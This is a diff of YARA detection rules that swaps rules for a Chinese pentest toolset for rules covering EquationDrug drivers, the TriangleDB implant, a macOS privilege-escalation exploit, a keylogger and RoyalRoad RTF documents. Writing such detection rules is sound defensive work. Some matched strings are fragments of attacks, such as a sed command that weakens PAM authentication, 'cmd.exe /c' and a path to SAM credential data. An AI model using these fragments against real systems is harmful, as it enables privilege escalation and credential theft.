+		logic_hash = "26c3b84a00702f155daa50c8f17e5f37e1aac46adde8a06a711e732a4cd806e9"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s1 = "GetIIS UserName and PassWord." fullword wide
-		$s2 = "Read IIS ID For FreeHost." fullword wide
+		$s0 = "SERVICES.EXE" fullword wide
+		$s1 = "\\command.com" wide
+		$s2 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s3 = "LSASS.EXE" fullword wide
+		$s4 = "Windows Configuration Services" fullword wide
+		$s8 = "unilay.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Smsniff_Smsniff : FILE
+rule SIGNATURE_BASE_Equationdrug_Networksniffer5
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file smsniff.exe"
+		description = "EquationDrug - Network-sniffer/patcher - atmdkdrv.sys"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fef242d5-b274-5217-a5d1-1a6ec38d0fdd"
-		date = "2015-06-23"
+		id = "9eac2c51-3ad7-5346-a985-39733bc204c2"
+		date = "2015-03-11"
+		modified = "2023-01-06"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L556-L574"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "09399b9bd600d4516db37307a457bc55eedcbd17"
+		logic_hash = "84f009e2ef639e5270273a7d9dd2542fdf1386c4c8363071d711e2333a112cd1"
+		score = 75
+		quality = 60
+		tags = ""
+
+	strings:
+		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s1 = "\\Registry\\User\\CurrentUser\\" wide
+		$s2 = "atmdkdrv.sys" fullword wide
+		$s4 = "\\Device\\%ws_%ws" wide
+		$s5 = "\\DosDevices\\%ws" wide
+		$s6 = "\\Device\\%ws" wide
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_Equationdrug_Filesystem_Filter
+{
+	meta:
+		description = "EquationDrug - Filesystem filter driver - volrec.sys, scsi2mgr.sys"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		id = "7077daf6-3d51-5ff2-bc74-95cb169a7cd2"
+		date = "2015-03-11"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L648-L663"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8667a785a8ced76d0284d225be230b5f1546f140"
-		logic_hash = "6949f992d4734f18d9caffe83f2abccca0e0decef4169954518eed078d39e561"
-		score = 70
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L576-L590"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "57fa4a1abbf39f4899ea76543ebd3688dcc11e13"
+		logic_hash = "5da0c279da1b84a41e7d15df3c19cd50af1872156f133de0a367b9140425aa11"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s1 = "smsniff.exe" fullword wide
-		$s5 = "SmartSniff" fullword wide
+		$s0 = "volrec.sys" fullword wide
+		$s1 = "volrec.pdb" fullword ascii
+		$s2 = "Volume recognizer driver" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <267KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Happy_Happy : FILE
+rule SIGNATURE_BASE_Apt_Equation_Keyword : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Happy.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6e6c806d-e784-507f-b327-3b9f2510422b"
-		date = "2015-06-23"
-		modified = "2023-01-27"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L665-L683"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "92067d8dad33177b5d6c853d4d0e897f2ee846b0"
-		logic_hash = "667cd6629ca49f2200fdc0a5eb28c77c412ca25313fd9a8afb77dedfa66d2fa1"
-		score = 70
+		description = "Rule to detect Equation group's keyword in executable file"
+		author = "Florian Roth"
+		id = "a7d4eda5-f390-5099-9c46-bf74a878b4f0"
+		date = "2015-09-26"
+		modified = "2023-12-05"
+		reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L592-L603"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d9a2b31d078eabbc930e9ec06e5ead5a6cda4eebf1c0ebe8164caf75a9d3cba6"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<form.*?method=\"post\"[\\s\\S]*?</form>" fullword wide
-		$s2 = "domainscan.exe" fullword wide
-		$s3 = "http://www.happysec.com/" wide
-		$s4 = "cmdshell" fullword ascii
+		$a1 = "Backsnarf_AB25" wide
+		$a2 = "Backsnarf_AB25" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <655KB and 2 of them
+		uint16(0)==0x5a4d and 1 of ($a*)
 }
-rule SIGNATURE_BASE_CN_Honker_T00Ls_Lpk_Sethc_V3_0 : FILE
+rule SIGNATURE_BASE_APT_Equation_Group_Op_Triangulation_Triangledb_Implant_Jun23_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v3.0.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7513a513-e8a3-58a8-8dd5-512ba33ff013"
-		date = "2015-06-23"
+		description = "Detects TriangleDB implant found being used in Operation Triangulation on iOS devices (maybe also used on macOS systems)"
+		author = "Florian Roth"
+		id = "d81a5103-41c8-5dba-a560-8fb5514f6c0a"
+		date = "2023-06-21"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L685-L701"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fa47c4affbac01ba5606c4862fdb77233c1ef656"
-		logic_hash = "fa65de4a135072f4d9a5d5711a4e2833b9d4a268a2a37c33d17e4546d172b6f1"
-		score = 70
+		reference = "https://securelist.com/triangledb-triangulation-implant/110050/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_triangulation_jun23.yar#L2-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "486b19ddb8b182dbba882359f7eb416735e76f9cda5aea1b290fb5c6b44960c5"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "http://127.0.0.1/1.exe" fullword wide
-		$s2 = ":Rices  Forum:T00Ls.Net  [4 Fucker Te@m]" fullword wide
-		$s3 = "SkinH_EL.dll" fullword wide
+		$s1 = "unmungeHexString" ascii fullword
+		$s2 = "CRPwrInfo" ascii fullword
+		$s3 = "CRConfig" ascii fullword
+		$s4 = "CRXConfigureDBServer" ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 2 of them
+		( uint16(0)==0xfacf and filesize <30MB and $s1 and 2 of them ) or all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Netfuke_Netfuke : FILE
+rule SIGNATURE_BASE_EXPL_HKTL_Macos_Switcharoo_CVE_2022_46689_Dec22 : CVE_2022_46689 FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file NetFuke.exe"
+		description = "Detects POCs that exploit privilege escalation vulnerability CVE-2022-46689 on macOS"
 		author = "Florian Roth (Nextron Systems)"
-		id = "833da5c7-e562-50e9-a2a9-54c36b0d1f61"
-		date = "2015-06-23"
+		id = "25c551f7-48ae-5e71-b86e-68fb440262e5"
+		date = "2022-12-19"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L703-L718"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f89e223fd4f6f5a3c2a2ea225660ef0957fc07ba"
-		logic_hash = "86f6040b743b17fb300498b02a202d1a9090054a30d490f082b116d799c4bdb2"
-		score = 70
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_macos_switcharoo_dec22.yar#L2-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c2cbe12a01a38db522c49143c5168d3519ef974b4e6157cb251aa66707c69d78"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2022-46689, FILE"
+		hash1 = "64acd79a37b6f8443250dd33e95bd933ee39fc6d4f35ba6a987dae878d017386"
+		hash2 = "6c2ace75000de8a7e8786f28b1b41eed72816991a0961475c6800753bfe9278c"
+		hash3 = "6ce080b236ea3aa3b4c992d12af99445ab800abc709c6abbef852a9f0cf219b6"
+		hash4 = "83cc4d72686aedf5218f07e60e759b4849b368975b70352dbba6fac4e8cde72b"
+		hash5 = "a7b7fcfd609ff653d32c133417c0d3ffd9f581fb6de05ddbdead4d36cb6e3cc2"
+		hash6 = "b2a97edb0ddc30ecc1a0b0c0739820bbef787394b44ab997393475de2ebf7b60"
+		hash7 = "c7a64c6da5cf5046ae5c683d0264a32027110a2736b4c1b0df294e29a061a865"
+		hash8 = "d517cde0d45e6930336538c89b310d5d540a66c921bf6f6f9b952e721b2f6a11"
+		hash9 = "d53a559ea9131fe42eacf51431da3adde5a8fd5c2f3198f0d5451ef62ed33888"
 
 	strings:
-		$s1 = "Mac Flood: Flooding %dT %d p/s " fullword ascii
-		$s2 = "netfuke_%s.txt" fullword ascii
+		$x1 = "vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d" ascii fullword
+		$x2 = "Execting: %s (posix_spawn returned: %d)" ascii fullword
+		$x3 = "/usr/bin/sed -e \"s/rootok/permit/g\" /etc" ascii fullword
+		$x4 = "vm_unaligned_copy_switch_race" ascii fullword
+		$s1 = "RO mapping was modified" ascii fullword
+		$s2 = "Ran %d times in %ld seconds with no failure" ascii fullword
+		$opa1 = { 4c 89 ee 31 c9 41 b8 00 40 00 00 6a 01 41 5c 41 54 6a 03 58 }
+		$opa2 = { e8 ?? 01 00 00 48 8b 05 ?? 0? 00 00 8b 38 48 8b 13 44 8b 4b 14 48 83 ec 08 4c 89 ee 31 c9 }
+		$opa3 = { 48 89 45 c8 48 8d 43 08 48 89 45 d0 4c 8b 7d c8 4c 8b 6d d0 6a 64 41 5e 80 7b 60 00 }
+		$opb1 = { 55 48 89 e5 48 83 ec 60 48 8b 05 ?1 06 00 00 48 8b 00 48 89 45 f8 0f 28 05 ?b 07 00 00 48 8d 75 d0 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1840KB and all of them
+		( filesize <400KB and 1 of ($x*)) or (( uint16(0)==0xfacf or ( uint16(0)==0xfeca or uint16(0)==0xfacf or uint32(0)==0xbebafeca)) and filesize <400KB and 2 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Manualinjection : FILE
+rule SIGNATURE_BASE_EXPL_Macos_Switcharoo_Indicator_Dec22 : CVE_2022_46689 FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file ManualInjection.exe"
+		description = "Detects indicators found after exploitations of CVE-2022-46689"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f0899003-824f-56ed-b653-9f7a77b9ec6a"
-		date = "2015-06-23"
+		id = "d5d9559a-c19c-5ddc-9d72-701986a9d7ac"
+		date = "2022-12-19"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L720-L735"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e83d427f44783088a84e9c231c6816c214434526"
-		logic_hash = "fe8eba3b79f5bc4cf820ff51816c3f2a27d6ed8f6ab3963f88a3232c9a4b5c1e"
-		score = 70
+		reference = "https://github.com/zhuowei/MacDirtyCowDemo"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_macos_switcharoo_dec22.yar#L42-L54"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9b9ea134fc4b3a7b15ae585ced2e12cbe1defc54bc6175282d6b7a2a0b65abd1"
+		score = 65
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2022-46689, FILE"
 
 	strings:
-		$s0 = "http://127.0.0.1/cookie.asp?fuck=" fullword ascii
-		$s16 = "http://Www.cnhuker.com | http://www.0855.tv" fullword ascii
+		$x1 = "auth       sufficient     pam_permit.so" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and all of them
+		filesize <1KB and $x1
 }
-rule SIGNATURE_BASE_CN_Honker_Cncert_Ccdoor_CMD : FILE
+rule SIGNATURE_BASE_APT_NK_MAL_Keylogger_Unknown_Nov19_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file CnCerT.CCdoor.CMD.dll"
+		description = "Detects unknown keylogger reported by CNMF in November 2019"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ddd328a8-7ad8-5b26-9deb-3e5da801cd1b"
-		date = "2015-06-23"
+		id = "5311d883-52e0-5503-9494-c583fabbedfe"
+		date = "2019-11-06"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L737-L754"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1c6ed7d817fa8e6534a5fd36a94f4fc2f066c9cd"
-		logic_hash = "3c068c3d21de8c071b3eec354f03423d4902ef0156bb9dcad370cf688bc03426"
-		score = 70
+		reference = "https://twitter.com/CNMF_VirusAlert/status/1192131508007505921"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_gen.yar#L2-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a3b5c82cb8aa09e3c1b955bb175046e86f96da1f187eb46df83caaaf9e1370b2"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "04d70bb249206a006f83db39bbe49ff6e520ea329e5fbb9c758d426b1c8dec30"
+		hash2 = "618a67048d0a9217317c1d1790ad5f6b044eaa58a433bd46ec2fb9f9ff563dc6"
 
 	strings:
-		$s2 = "CnCerT.CCdoor.CMD.dll" fullword wide
-		$s3 = "cmdpath" fullword ascii
-		$s4 = "Get4Bytes" fullword ascii
-		$s5 = "ExcuteCmd" fullword ascii
+		$x1 = "CKeyLogDlg::Keylogger_WriteFile" ascii
+		$x2 = "Keylog file is saved >>>>>> %s" fullword ascii
+		$x3 = "MicCap file is saved >>>>>> %s" fullword ascii
+		$x4 = "cr5cr33nc4p.dat" fullword ascii
+		$xc1 = { 73 74 61 74 75 73 00 00 5C 4B 65 79 6C 6F 67 }
+		$xc2 = { 5B 43 4D 69 63 43 61 70 44 6C 67 5D 2E 00 00 00
+               25 30 34 64 25 30 32 64 25 30 32 64 25 30 32 64
+               25 30 32 64 2E 77 61 76 }
+		$xc3 = { 25 73 00 00 25 73 5C 2A 2E 2A 00 00 61 62 00 00
+               5B 25 73 5D 20 75 70 6C 6F 61 64 20 66 61 69 6C
+               65 64 2E 00 72 62 00 00 5B 25 73 5D 20 6F 70 65
+               6E 20 66 61 69 6C 65 64 2E 00 00 00 2E 2E 00 00
+               5B 25 73 20 2D 3E 20 25 73 5D 20 63 6F 70 79 20
+               66 61 69 6C 65 64 }
+		$s1 = "%s\\cmd.exe /c %s" fullword ascii
+		$s2 = "File upload error occured in [CFSDlg::ProcessResultMessage]." fullword ascii
+		$s3 = "\\SAM\\Domains\\Account\\Users\\Names" ascii
+		$s4 = "%s_hist%d:%d:%s:%s:::" fullword ascii
+		$s5 = "CARAT_Ws2_32.dll" fullword ascii
+		$s6 = "PID [%s], open process failed." fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <22KB and all of them
+		uint16(0)==0x5a4d and filesize <=40000KB and (1 of ($x*) or 4 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Termsrvhack : FILE
+rule SIGNATURE_BASE_Royalroad_Code_Pattern1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file termsrvhack.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4fd582a1-3c6d-57a1-bba0-f775bb61ef00"
-		date = "2015-06-23"
+		description = "Detects RoyalRoad weaponized RTF documents"
+		author = "nao_sec"
+		id = "db2fb24c-df99-5622-ac3d-d31c34481984"
+		date = "2020-01-15"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L756-L771"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1c456520a7b7faf71900c71167038185f5a7d312"
-		logic_hash = "ef0b9965e2d419230a7a8425674edb356347d1e41538d19fc67f8b0fbc69091f"
-		score = 70
+		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_royalroad.yar#L25-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ebd507d95c454562fa0b364072120b35b1bf8dd2be129a419d893f6708ab9cca"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "The terminal server cannot issue a client license.  It was unable to issue the" wide
-		$s6 = "%s\\%s\\%d\\%d" fullword wide
+		$S1 = "48905d006c9c5b0000000000030101030a0a01085a5ab844eb7112ba7856341231"
+		$RTF = "{\\rt"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1052KB and all of them
+		$RTF at 0 and $S1
 }
-rule SIGNATURE_BASE_CN_Honker_IIS6_Iis6 : FILE
+rule SIGNATURE_BASE_Royalroad_Code_Pattern2 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file iis6.com"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f5d49cbd-1aec-5126-ab5d-83e485fa6869"
-		date = "2015-06-23"
+		description = "Detects RoyalRoad weaponized RTF documents"
+		author = "nao_sec"
+		id = "135024ae-9ecf-5691-95ca-96002e500fd5"
+		date = "2020-01-15"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L773-L790"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f0c9106d6d2eea686fd96622986b641968d0b864"
-		logic_hash = "51b2fdae6437d64661f20342711d516201740eceb2273704a6e415be2cac54f6"
-		score = 70
+		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_royalroad.yar#L42-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e252868042e5150d99de2c2f4642f3d91d764d5a062f3a8de9ab316e299e00ac"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "GetMod;ul" fullword ascii
-		$s1 = "excjpb" fullword ascii
-		$s2 = "LEAUT1" fullword ascii
-		$s3 = "EnumProcessModules" fullword ascii
+		$S1 = "653037396132353234666136336135356662636665" ascii
+		$RTF = "{\\rt"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and all of them
+		$RTF at 0 and $S1
 }
-rule SIGNATURE_BASE_CN_Honker_Struts2_Catbox : FILE
+rule SIGNATURE_BASE_Royalroad_Code_Pattern3 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file catbox.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "24df7a11-5ec4-5e7b-86f6-6195ca01b8f9"
-		date = "2015-06-23"
+		description = "Detects RoyalRoad weaponized RTF documents"
+		author = "nao_sec"
+		id = "7bce2fe6-a921-51ec-8b5f-5d7f55ab3864"
+		date = "2020-01-15"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L792-L807"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ee8fbd91477e056aef34fce3ade474cafa1a4304"
-		logic_hash = "20bda5c918ea38810603528a20f3406ec4e79ce999681649e8e806bf549b5359"
-		score = 70
+		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_royalroad.yar#L59-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3b5d9872eb86d1a220e5b70c560e7054bee8b2bc1fa2a75781d87616674e2927"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s6 = "'Toolmao box by gainover www.toolmao.com" fullword ascii
-		$s20 = "{external.exeScript(_toolmao_bgscript[i],'javascript',false);}}" fullword ascii
+		$S1 = "4746424151515151505050500000000000584242eb0642424235353336204460606060606060606061616161616161616161616161616161"
+		$RTF = "{\\rt"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <8160KB and all of them
+		$RTF at 0 and $S1
 }
-rule SIGNATURE_BASE_CN_Honker_Getlsasrvaddr : FILE
+rule SIGNATURE_BASE_Royalroad_Code_Pattern4Ab : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file getlsasrvaddr.exe - WCE Amplia Security"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fa0c0376-c5c3-5b48-b03e-86cefb547479"
-		date = "2015-06-23"
-		modified = "2022-12-21"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L809-L826"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a897d5da98dae8d80f3c0a0ef6a07c4b42fb89ce"
-		logic_hash = "e626724430d0b74aee52783dd5abdb8ccc7b951c56041e5c166b78b7370bc402"
-		score = 70
+		description = "Detects RoyalRoad weaponized RTF documents"
+		author = "nao_sec"
+		id = "b4926888-b576-59f7-932a-03b9326845da"
+		date = "2020-01-15"
+		modified = "2023-12-05"
+		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_royalroad.yar#L77-L92"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dd9468b3208a27b6f3b56037013f06c4d2adbd201a12df141bc980ad595a75c0"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s8 = "pingme.txt" fullword ascii
-		$s16 = ".\\lsasrv.pdb" ascii
-		$s20 = "Addresses Found: " fullword ascii
+		$S1 = "4746424151515151505050500000000000584242EB064242423535333620446060606060606060606161616161616}1616161616161616161" ascii
+		$RTF = "{\\rt"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		$RTF at 0 and $S1
 }
-rule SIGNATURE_BASE_CN_Honker_Ms10048_X64 : FILE
+rule SIGNATURE_BASE_Royalroad_Code_Pattern4Ce : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file ms10048-x64.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b65b0bad-d74c-5e7a-a613-69ef80585c23"
-		date = "2015-06-23"
+		description = "Detects RoyalRoad weaponized RTF documents"
+		author = "nao_sec"
+		id = "c6e8a072-23cd-5f6a-9b4f-57d3e4500d13"
+		date = "2020-01-15"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L828-L843"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "418bec3493c85e3490e400ecaff5a7760c17a0d0"
-		logic_hash = "49addce6bef7588bf7683836a54bec6a2a646ecc3f7547083174d2255454cdf0"
-		score = 70
+		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_royalroad.yar#L94-L109"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7033c5874b406341a68f761b45fd6a9b73a9875c80b14d52a7c2240202c8fb40"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "[ ] Creating evil window" fullword ascii
-		$s2 = "[+] Set to %d exploit half succeeded" fullword ascii
+		$S1 = "584242eb064242423535333620446060606060606060606161616161616161616161616}1616161" ascii
+		$RTF = "{\\rt"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <125KB and all of them
+		$RTF at 0 and $S1
 }
-rule SIGNATURE_BASE_CN_Honker_Logcleaner : FILE
+rule SIGNATURE_BASE_Royalroad_Code_Pattern4D : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file LogCleaner.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "63ec5e47-9f3e-547a-bbff-cac8b27ac8f7"
-		date = "2015-06-23"
+		description = "Detects RoyalRoad weaponized RTF documents"
+		author = "nao_sec"
